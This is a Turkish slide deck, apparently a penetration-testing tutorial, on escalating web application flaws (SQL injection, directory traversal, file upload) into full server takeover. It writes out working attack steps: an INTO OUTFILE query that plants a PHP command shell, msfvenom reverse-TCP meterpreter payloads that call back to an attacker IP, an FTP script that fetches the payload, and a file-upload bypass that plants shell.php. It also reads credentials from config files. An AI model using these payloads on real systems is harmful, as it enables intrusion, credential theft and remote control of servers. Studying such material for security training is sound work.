Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Web uygulama açıklıklarından faydalanarak sistem ele geçirme

2,751 views

Published on

Bu sunum web uygulamalarının kritikliği ne kadar düşük olursa olsun uygulama açıklıklarının sistem ve ağ güvenliğini tehdit edebileceğini göstermektedir.

Published in: Internet
  • Hocam iyi hoş ta keşke birde indirile bilir olsa
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here

Web uygulama açıklıklarından faydalanarak sistem ele geçirme

  1. 1. WEB UYGULAMA AÇIKLIKLARINDAN SİSTEM ELE GEÇİRMEYE GİDEN YOL
  2. 2. İşletim Sistemini Ele Geçirme Web uygulama açıklıkları sadece veri sızması veya suistimale imkan tanımaz. Web uygulamasının eriştiği veriler veya operasyonel kritikliği ne kadar düşük öncelikli olursa olsun barındırabileceği açıklıklar sayesinde üzerinde koştuğu işletim sisteminin ele geçirilmesine imkan tanıyabilir. Bu durumda saldırgan diğer hedeflere daha etkili saldırı yapabilecek bir konuma erişmiş olur. Bu nedenle web uygulamalarının kritikliklerini değerlendirirken mutlaka web uygulamasının ve bu uygulamanın kullandığı veritabanlarının bulunduğu ağ bölümlerinin kritiklikleri de dikkate alınmalıdır.
  3. 3. İşletim Sistemini Ele Geçirme İşletim sisteminin ele geçirilmesiyle sonuçlanabilecek web uygulama açıklıkları şunlardır* (rastlanma sıklığına göre sıralanmıştır): • SQL Injection • Dizin Aşım Açıklıkları • File Upload Riskleri • RFI / LFI Açıklıkları (PHP diline özel bir açıklık türü) • (İşletim Sistemi) Command Injection • Kod Injection (genellikle PHP ve Perl dillerinde görülen bir açıklık türü) *Güvenlik alanı daimi bir araştırma alanıdır. Burada bahsetmeyi atladığımız bir web uygulama açıklık türü de pekala sistem ele geçirmek için kullanılabilir. Ayrıca bu açıklıklar bahsettiğimiz şekillerin dışında da kullanılarak işletim sistemi ele geçirme amacıyla kullanılabilir.
  4. 4. İşletim Sistemini Ele Geçirme İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  5. 5. İşletim Sistemini Ele Geçirme İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  6. 6. İşletim Sistemini Ele Geçirme SQL Injection ile İşletim Sistemi Ele Geçirme Örneği Temel Adımlar SQL injection açıklığının tespiti sırasında veritabanının MySQL olduğunu öğrendik, buna göre; • MySQL'in bize sağladığı batched query yöntemini kullanacağız (injection yaptığımız sorguyu sorunsuz bir syntax ile sonlandırdıktan sonra veritabanı fonksiyonalitesini kullanacak komutumuzu yazacağız) • MySQL'in "SELECT ... INTO OUTFILE ..." özelliğinden faydalanarak bir web uygulaması yazacağız • Bu web uygulaması bizim verdiğimiz komutları işletim sisteminde işletecek • İşletim sistemi komutları ile payload dosyamızı hedef sunucuya yükleyeceğiz • İşletim sistemi komutu ile payload'u çalıştıracağız ve shell'imizi alacağız
  7. 7. SQL Injection Örneği [Fatura Detaylarım / Detay Göster] fonksiyonu ("id" parametresi) İşletim Sistemini Ele Geçirme
  8. 8. İşletim Sistemini Ele Geçirme
  9. 9. İşletim Sistemini Ele Geçirme Repeater modülü ile SQL Injection açıklığına sahip olan parametreyi ve MySQL'in SELECT ... INTO OUTFILE ... özelliğini kullanarak basit bir PHP uygulamasını web dizinleri içine yazacağız. Tabi bunun için web sunucusunun bu dizinlere yazma hakkı bulunması önşart. ; SELECT "<?php System($_REQUEST['cmd']); ?>" INTO OUTFILE "C:wampwwwcmd.php"
  10. 10. İşletim Sistemini Ele Geçirme
  11. 11. İşletim Sistemini Ele Geçirme Uygulama sunucusuna yüklemek üzere bir meterpreter staged payload üretiyoruz. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.163.141 lport=4444 -f exe -o payload.exe
  12. 12. İşletim Sistemini Ele Geçirme Bu payload'u ftp sunucusu olarak kullanacağımız Windows sunucusuna kopyalıyoruz.
  13. 13. İşletim Sistemini Ele Geçirme Şimdi ftp ile payload.exe'yi web sunucusuna çekebilmek için yine cmd.php uygulamasını kullanarak bir ftp script'i oluşturacağız. open 192.168.1.90 user anonymous pwd bin get payload.exe bye Bu aşamada interaktif bir shell bağlantımız olmadığı için ftp'nin bu özelliğini kullanacak ve script sayesinde tek komutla payload'u hedef sunucuya yükleyeceğiz. Bu satırları oluşturmak için defalarca manuel olarak cmd.php uygulamasını çalıştırmak yerine Burp Suite'in intruder modülünden faydalanacağız.
  14. 14. İşletim Sistemini Ele Geçirme
  15. 15. İşletim Sistemini Ele Geçirme
  16. 16. İşletim Sistemini Ele Geçirme Payload dosyamızı web sunucusuna aktarabilmek için ftp scriptinde belirtilen IP adresinde bir ftp servisi başlatalım
  17. 17. İşletim Sistemini Ele Geçirme cmp.php uygulamamız sayesinde ftp istemcisini ftp.txt script'i ile çalıştıralım ve payload dosyamızın transferini gerçekleştirelim
  18. 18. İşletim Sistemini Ele Geçirme Meterpreter handler'ımızı başlatalım ve birinci stage payload'umuzun bağlantı kurmasını bekleyelim
  19. 19. İşletim Sistemini Ele Geçirme Payload.exe dosyasını yazdığımız web uygulaması sayesinde çalıştırdığımızda reverse TCP bağlantısı kuruldu ve Meterpreter payload'umuzun ikinci stage'i hedef sunucuya yüklendi.
  20. 20. İşletim Sistemini Ele Geçirme SQL Injection açıklığı sayesinde web sunucusuna shell erişimi sağladık
  21. 21. İşletim Sistemini Ele Geçirme Tüm işi SQLMAP'e yaptırmak isterseniz
  22. 22. İşletim Sistemini Ele Geçirme SQL Injection ile Başka Hangi Yöntemlerle İşletim Sistemi Ele Geçirebilirim Diyenler İçin; SQLMAP'in yazarlarından, detaylı bir araştırma makalesi: • http://www.slideshare.net/inquis/advanced-sql-injection-to- operating-system-full-control-whitepaper-4633857
  23. 23. İşletim Sistemini Ele Geçirme İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  24. 24. Dizin Aşım Açıklığı Örneği İşletim Sistemini Ele Geçirme Dosya indirme fonksiyonalitesi Dizin aşımı saldırısı için potansiyel bir hedef
  25. 25. Dizin Aşım Açıklığı Örneği İşletim Sistemini Ele Geçirme Giden parametre bir dosya adı gibi görünüyor
  26. 26. İşletim Sistemini Ele Geçirme Dizin aşım açıklığının bulunup bulunmadığını ve web uygulama kök dizininin dışına çıkıp çıkamayacağımızı görmek için Windows işletim sistemlerinde bulunan başka bir dosyanın içeriğini göremeye çalışalım. ........Windowswin.ini
  27. 27. İşletim Sistemini Ele Geçirme Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Temel Adımlar • Öncelikle içinde hassas erişim bilgileri barındırabilecek bir dosyayı tespit etmemiz gerekli • Bunun için kullanabileceğimiz yöntemlerden birisi "nikto" gibi bir aracı kullanarak ilginç olabilecek bir uygulama dosyasının tespiti olabilir • Nikto ile tespit ettiğimiz kod dosyasının içeriğinde veritabanı bağlantı cümlesini gözlemleyeceğiz • Buradaki veritabanı erişim bilgilerini kullanarak ve MySQL veritabanının uzaktan erişilebilmesi sayesinde veritabanına uzaktan bağlanacağız • MySQL'in sağladığı imkanlar sayesinde OS komutları ile sistemi ele geçireceğiz
  28. 28. İşletim Sistemini Ele Geçirme Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Ön Şartlar Örneğimizde MySQL sunucusuna uzaktan "root" kullanıcısıyla erişim sağlıyoruz. Öntanımlı olarak veritabanı sunucusuna uzaktan "root" erişimi mümkün değildir. Bunun için şu ayarın yapılmış olduğunu varsayıyoruz: GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'btrisk' WITH GRANT OPTION; FLUSH PRIVILEGES;
  29. 29. İşletim Sistemini Ele Geçirme Nikto'nun tespitleri arasında erişim bilgileri bulunma ihtimali olan "config.php" dosyasının adını görebiliriz
  30. 30. İşletim Sistemini Ele Geçirme MySQL veritabanı için "root" kullanıcı parolasının "btrisk" olduğunu bu dosyanın içinde görüyoruz
  31. 31. İşletim Sistemini Ele Geçirme Sunucunun MySQL servisine uzaktan erişilebildiği görülüyor
  32. 32. İşletim Sistemini Ele Geçirme Bu noktadan sonra yazılacak bir web uygulaması aracılığı ile OS komutları çalıştırılabilir ve bir payload yüklenerek sistem ele geçirilebilir.
  33. 33. İşletim Sistemini Ele Geçirme Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Diğer Alternatif Hassas Dosyalar Hedef web sunucusu eğer Unix veya Linux işletim sistemine sahip olsaydı, sistemi ele geçirmek amacıyla ilk hedeflerimizden birisi parola hash'lerinin tutulduğu "passwd" veya "shadow" dosyaları olabilirdi. Hedef web uygulaması bir ASP.NET uygulaması olsaydı içinde veritabanı bağlantı cümlelerini de barındırma ihtimali yüksek olan "web.config" dosyası iyi bir hedef olabilirdi. Sunucu üzerinde bulunabilecek yedekleme veya diğer batch işlemler için kullanılan script'ler içlerinde potansiyel olarak veritabanı erişim bilgilerini barındırabilirler. Sunucu üzerindeki log dosyaları erişim bilgileri barındırabilir.
  34. 34. İşletim Sistemini Ele Geçirme İşletim Sistemine Shell veya Terminal Erişimi Dizin Aşım Açıklıkları RFI / LFI File Upload Açıklığı OS Command Injection SQL Injection Hassas Erişim Bilgilerini İçeren Bir Dosyayı Oku OS Komutları Çalıştırmamıza İmkan Veren Bir PHP Kodunu Include Et OS Komutları ile Sisteme Payload Yükle SSH, Telnet, VNC Gibi Servislerle Sisteme Doğrudan Eriş Kod Injection Sisteme Yüklenmiş Olan Backdoor Payload'unu Çalıştır SQL Injection ile Sisteme Web Uygulaması Yaz OS Komutları ile Web Uygulaması Yaz Web Uygulaması ile Sisteme Payload Yükle SQL Injection ile OS Komutları Çalıştır Sisteme Web Uygulaması Yükle Veritabanı Fonksiyonalitesiyle Sisteme Payload Yükle
  35. 35. File Upload Açıklığı Örneği İşletim Sistemini Ele Geçirme Uygulamanın resim yükleme fonksiyonunu kullanıyoruz.
  36. 36. Uygulama resim dosyasının ismini aşağıdaki gibi oluşturuyor ve bunu istemci tarafında belirlemiş oluyor. İşletim Sistemini Ele Geçirme
  37. 37. Bilgilerim sayfasında bulunan linkleri incelediğimizde fotoğraf dosyasının bu isimle çekildiğini görüyoruz. Buradan yüklenen dosyaların "/profile_photo" dizini altına yüklendiğini varsayabiliriz. İşletim Sistemini Ele Geçirme
  38. 38. İşletim Sistemini Ele Geçirme File Upload Açıklığı ile İşletim Sistemi Ele Geçirme Örneği Temel Adımlar • Dosya yükleme açıklığı sayesinde istediğimiz web uygulamasını sunucuya yükleyebiliriz. • Bu örnekte Metasploit'in PHP payload oluşturma imkanından faydalanacağız. Bunun için reverse tcp bağlantısı kuracak bir PHP dosyası oluşturacak ve sunucuya bu dosyayı yükleyeceğiz. • Metasploit multi handler aracı ile bağlantıyı beklerken yüklediğimiz uygulamayı çalıştıracağız ve handler bizim için stage 2 payload'u sisteme yükleyecek. • Bu noktadan sonra meterpreter'in gelişmiş imkanları sayesinde web sunucu prosesinin hakları ile sisteme erişeceğiz.
  39. 39. İşletim Sistemini Ele Geçirme msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.163.141 LPORT=4444 -f raw > shell.php Metasploit aracılığıyla handler'ımıza bağlanarak 2. stage payload'u çekecek bir PHP kodunu üretiyoruz. Kullandığımız payload php/meterpreter_reverse_tcp
  40. 40. İşletim Sistemini Ele Geçirme Üretilen payload'un PHP olarak yorumlanabilmesi için başına ve sonuna PHP tag eklemesini yapmamız gerekiyor.
  41. 41. İşletim Sistemini Ele Geçirme Metasploit multi handler modülü ile bize bağlanacak stage 1 PHP payload'umuzdan gelecek bağlantı talebini bekliyoruz.
  42. 42. İşletim Sistemini Ele Geçirme Bir dosya yükleme isteği başlatmak için Browse düğmesine tıklayalım
  43. 43. İşletim Sistemini Ele Geçirme HTML inpug tag'i içinde dosya tipi imaj dosyaları olarak kısıtlanmış. Bu kontrolü HTML içinden de temizleyebiliriz, giden mesajı Burp ile kestiğimizde de dosya adı ve içeriğini düzenleyebiliriz.
  44. 44. İşletim Sistemini Ele Geçirme Şimdilik bir resim dosyası seçelim ve dosya yükle düğmesine basalım, değişikliği kestiğimiz istek üzerinde gerçekleştirelim. Burp content miktarının değişikliği için hesaplamayı yaparak bizim için Content-Length başlığını düzenleyecek nasıl olsa.
  45. 45. İşletim Sistemini Ele Geçirme Orijinal dosya adı parametresi ve dosya içeriği
  46. 46. İşletim Sistemini Ele Geçirme Değiştirilmiş dosya adı parametresi ve dosya içeriği (shell.php)
  47. 47. İşletim Sistemini Ele Geçirme Dosya yükleme işlemimiz başarı ile gerçekleşmiş gibi görünüyor.
  48. 48. İşletim Sistemini Ele Geçirme Resim dosyalarının yazıldığı dizinin /profile_photo dizini olduğunu daha önce görmüştük. Bu isteklerden birini repeater modülüne atarak yüklediğimiz shell.php dosyasını çalıştıralım. Apache'nin eklediği Last-Modified HTTP başlığı nedeniyle bu istek her uygulamaya girişte yapılmıyor, bu nedenle bu isteği görebilmemiz için tarayıcı belleğini boşaltmamız gerekebilir.
  49. 49. İşletim Sistemini Ele Geçirme shell.php sayfasına istekte bulunduğumuzda payload'umuz aktif hale gelmiş oluyor
  50. 50. İşletim Sistemini Ele Geçirme Hedef sunucumuz handler'ımıza bağlandığında artık shell erişimimizi sağlayabiliriz. Bu çalışmanın yapıldığı sırada malesef bu payload'un pek kararlı olmadığınız gözlemledik, ancak metodun çalıştığını bu örnekle görebiliriz.
  51. 51. İşletim Sistemini Ele Geçirme Ele geçirme yöntemlerine etki eden faktörler SQL injection açıklığı için • Hedef veritabanı nedir? • Veritabanı tek seferde birden fazla SQL komutuna izin verir mi? • Veritabanının OS komutu çalıştırma imkanı var mıdır? • Veritabanının bir dosyaya yazma imkanı var mıdır?
  52. 52. İşletim Sistemini Ele Geçirme Ele geçirme yöntemlerine etki eden faktörler Payload seçimi, payload yükleme yöntemi seçimi için • Hedef işletim sistemi nedir? • Bu işletim sisteminde öntanımlı olarak bulunan veya sonradan yüklenmiş dosya transfer komut imkanları nelerdir? • İşletim sistemine yönelik olarak nasıl bir payload kullanmayı tercih edeceğiz?
  53. 53. İşletim Sistemini Ele Geçirme Ele geçirme yöntemlerine etki eden faktörler Erişim bilgileri ele geçirildiğinde • İşletim sistemi üzerinde hangi servisler aktiftir? Uygulama dilinin tespiti • LFI/RFI açıklıklarının analizi için • File upload açıklığının kullanılması için • Kod injection açıklıklarının analizi için

×